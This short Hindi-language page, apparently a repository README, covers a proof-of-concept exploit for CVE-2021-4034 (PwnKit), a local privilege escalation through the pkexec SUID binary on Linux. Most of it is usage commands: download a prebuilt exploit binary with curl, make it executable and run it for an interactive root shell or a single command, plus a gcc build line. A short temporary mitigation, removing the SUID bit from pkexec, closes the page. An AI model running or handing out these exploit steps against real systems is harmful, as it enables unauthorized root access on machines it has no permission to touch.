jayhutajulu1/pwnkit-cve-2021-4034CVE-2021-4034 (PwnKit) के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट जो Linux सिस्टम पर स्थानीय विशेषाधिकार वृद्धि प्राप्त करने के लिए pkexec SUID बाइनरी को लक्षित करता है। मैन्युअल निष्पादन और निर्माण निर्देश शामिल हैं।
PwnKit / CVE-2021-4034 के लिए PoC - Pkexec स्थानीय विशेषाधिकार वृद्धि
curl -fsSL https://raw.githubusercontent.com/jayhutajulu1/PwnKit-CVE-2021-4034/main/PwnKit -o PwnKit
chmod +x ./PwnKit
./PwnKit # इंटरएक्टिव शैल
./PwnKit 'id' # एकल कमांड
पैच किए गए संस्करणों के विरुद्ध एक्सप्लॉइट चलाने पर निम्न आउटपुट प्राप्त होगा।
gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC
यदि आपके ऑपरेटिंग सिस्टम के लिए कोई पैच उपलब्ध नहीं है, तो आप अस्थायी शमन के रूप में pkexec से SUID-बिट हटा सकते हैं।
# chmod 0755 /usr/bin/pkexec